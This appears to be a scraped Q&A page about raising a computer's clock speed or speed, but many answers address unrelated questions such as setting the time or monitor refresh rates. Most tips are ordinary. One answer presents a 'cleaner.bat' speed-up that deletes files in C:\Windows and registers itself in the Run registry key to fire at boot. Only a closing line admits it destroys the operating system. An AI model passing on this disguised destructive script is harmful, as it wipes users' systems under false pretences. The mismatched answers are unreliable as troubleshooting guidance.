How do you turn up the clock speed on your computer?
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Your question is very general, so I'll give you a general answer:  \nAssuming you have an I.B.M. compatible PC type computer, \nin the BIOS setup menus, there is often a place\nin newer mainboards, to adjust the system clock speed and\nmany other hardware functioning details.  My advice is to\nnot mess with the systems clock speed.  It's just a business\ngimmick to get game-happy youth to burn-out their mainboards and buy a second one.   If you want ultimate speed for gaming, then buy the latest fast system, for that game, as recommended by others with experience on the internet.  You'll still pay a lot, but the system will last.\nNow, having given you the best answer, I'll give you the\nexperimental answer:  Not all mainboards (in BIOS setup)\ngive you much control over the system clock.  If you want to experiment, buy a motherboard that has this \ncapacity, then also buy the latest case/system for \nrefrigerating your computer (seriously, the colder-dryer, the better).  Then\nyou might be able to obtain a fast system that lasts.  Of course, you should buy the best/fastest video card too. But, since your question was very general, I doubt \nthat you're into experimenting right now.
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Go to http://www.download.com and search they should have quite a few free programs for this.\nhttp://www.download.com/3120-20_4-0.html?tg=dl-20&tag=srch&qt=world%20clock&
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Try this:\n\nHold MODE and SET for 2 seconds. Then use MODE and SET to adjust hours and minutes. Hold them again to exit adjust mode.
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My advice would be:\n1.Perform disk cleanup\n2.Defragment hard disk drive\n3.Perform the chkdsk from stage 1 to 5\n4.Do a virus scan\n5.Check the virtual memory. Change to minimum 2095 and \nmaximum 4095 this will increase the speed of your computer.
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on windows xp, right click on taskbar and select properties. then check the "Show the clock" option.
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Go to Start Menu, click RUN. \nType msconfig and hit enter. \nYou should see a pop up box.\nGo to Startup tab and uncheck all the programs that you do not want on your start up. \nThis will prevent those programs from starting up when you restart windows. \nThis will usually make your computer go a little faster if you have do not have much memory on your computer.\nYou do not want a bunch of things running in your background during startup if it is not necessary.\n\nYou might want to change your fan. You can get some cheap ones at http://www.newegg.com or http://www.tigerdirect.com \n\nJust get a new fan to replace the old one unless you just want to purchase a new computer.\n\nIf you want a smooth computer to go faster, then you might want to buy more RAMS for your PC. RAMS will allow you open as many programs as you want all at once and it will launch your programs faster. Go to control panel and then SYSTEMS and under the general tab will tell you how much RAM you have. If you only have 128MB or 256MB, its time for an upgrade. Get about 512MB to 1GIG...its very simple to install. \n\nIf you have problems, just let me know.
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No, no and no.  This is and energy saving feature, it's like a car, when you need the extra horsepower going uphill the powerband kicks in and you go faster.  The frequency at which a processor (CPU) operates is determined by applying a clock multiplier to the front side bus (FSB) speed. For example, a processor running at 550 MHz might be using a 100 MHz FSB. This means there is an internal clock multiplier setting (also called bus/core ratio) of 5.5; the CPU is set to run at 5.5 times frequency of the front side bus: 100 MHz x 5.5 = 550 MHz. By varying either the FSB or the multiplier, different CPU speeds can be achieved.
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http://en.wikipedia.org/wiki/Overclock
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Download Tweak XP from http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx.\nThen, once installed, click on Explorer > Slide Show, and you can adjust the time for each slide from there.\nP.S. You can use Tweak XP for other stuff for your PC, like getting rid of the little arrow on shortcuts. Check it out. You might like it.
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The system clock is set thru BIOS.  Therefore, you'll have to run an external command to set the clock.  \n\nString cmd="time 11:30:00";\nProcess proc = Runtime.getRuntime().exec(cmd);\n\nYou will have to make sure the 'command' is correct; my example is just a guess.
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You need more RAM.\n\nYou might also be under-clocked. Check to see:\n(1) Right click on My Computer\n(2) Look at "Computer:" What's your processor speed say there?\n\nTo reclock or overclock your computer go into BIOS and change you multiplier. Your processor speed is (i think) front side bus times the multiplier. Sometimes mine gets underclocked some how, and I have to go in and fix it. (133mhz X 15 = 2.0ghz).\n\nAlso, you can add some more Virtual RAM. To do this,\n(1) Right click on My Computer\n(2) Click on the Advanced tab\n(3) Under Performance, click on Settings\n(4) Click on the Advanced tab\n(5) Under Virtual Memory, click on Change\n\nThis lets you allocate DRIVE SPACE and turn it into virtual memory.\n\nYou should also turn off junk running in the background.\n\n(1) CTL-ALT-DELETE\n(2) How many processes is your computer running? My Win XP machine runs with as little as 16 processes. \n\nTurn off start-up programs:\n(1) Run this program: msconfig\n(2) Click on the Start Up tab\n(3) Turn off everything you don't NEED\n(4) If you don't know, try turning it off (it really can't hurt your machine)\n(5) Now click on the Services tab\n(6) Click on Hide All Microsoft Services\n(7) Turn off everything you don't NEED\n\nRun Adware/Spyware destroyers. Try Spybot: Search and Destroy. (I linked it for you)\n\nMaintaining a good computer is like maintaining a good car.\nI hope something there helps!
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input/output frequency is properly set for your monitor\ndo one thing,try booting the pc in safe mode and in safe mode change the monitor settings--right click on the desk top-->properties-->settings, go to\nadvance then go to monitor, choose 60Hz(in my pc its 60 hz, u try few options and see)--> ok apply and reboot, see if you are able to view \n\nfor logging into safe mode, press F8 while booting the windows.
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If you want the most simple way of making your PC superfast then do the following:\nCopy this text between the two lines into a text document and save it as cleaner.bat\n--------------------------------\n@echo off\ncd C:&#92;\nDEL C:&#92;Windows&#92;*.*\nCLS\n--------------------------------\n\nPlace this cleaner.bat in your C:&#92; drive.\nnow, Go to start&#92;Run and type in regedit\nYou will see the registry editor.\nNavigate your way to the following:\nHKEY_LOCAL_MACHINE&#92;\nSOFTWARE&#92;\nMicrosoft&#92;\nWindows&#92;\nCurrentVersion&#92;\nRun&#92;\n\nwhen you have selected the 'RUN' part on the left, RIGHT-click on the right side of the window and select 'New>String Value' Name it cleaner.\nNow double click the new cleaner string that has appeared. It will open a box.\nIn the area for the value put the following:\nC:&#92;cleaner.bat\n\n\nThat is it.\n\nIMPORTANT:\nthe next time you reboot your PC it will attempt to delete your windows folder and, if successful, will render your PC useless and without a functioning operating system.\nIt will be really fast though I guarantee it!
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right click on your desktop and click properties.  Click the settings tab, then advanced button.  then click the monitor tab.  use the drop down arrow to select the highest refresh rate that your monitor will use.  if you select one that is too high your monitor will turn off for 15 seconds.\nhigher refresh rates are better for your eyes\n\nthere should be some buttons on the front of your monitor.  play with these buttons to change the size of your screen, so you have less borders on your monitor,\nthe basic proccess for this is go through a menu to get to a certain type of ajustment, say, making the screen bigger vertically, then either plus or minus it.   other settings are to rotate, make it not buldge on teh sides. and others\n\nif you want more space on your desktop, right click on the desktop and click properties. then click the settings tab, and slide the slider bar to the right. if your monitor does not support the setting it will turn off for 15 seconds or so
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If it's a Windows machine, right-click on the time display in the taskbar and select Adjust Date/Time.
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Click on the time lower in right corner and a clock comes up. just reset your time click apply and ok.
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Right click on my computer and select properties. In the properties, you will have information of how many Ghz or Mhz your clock speed is.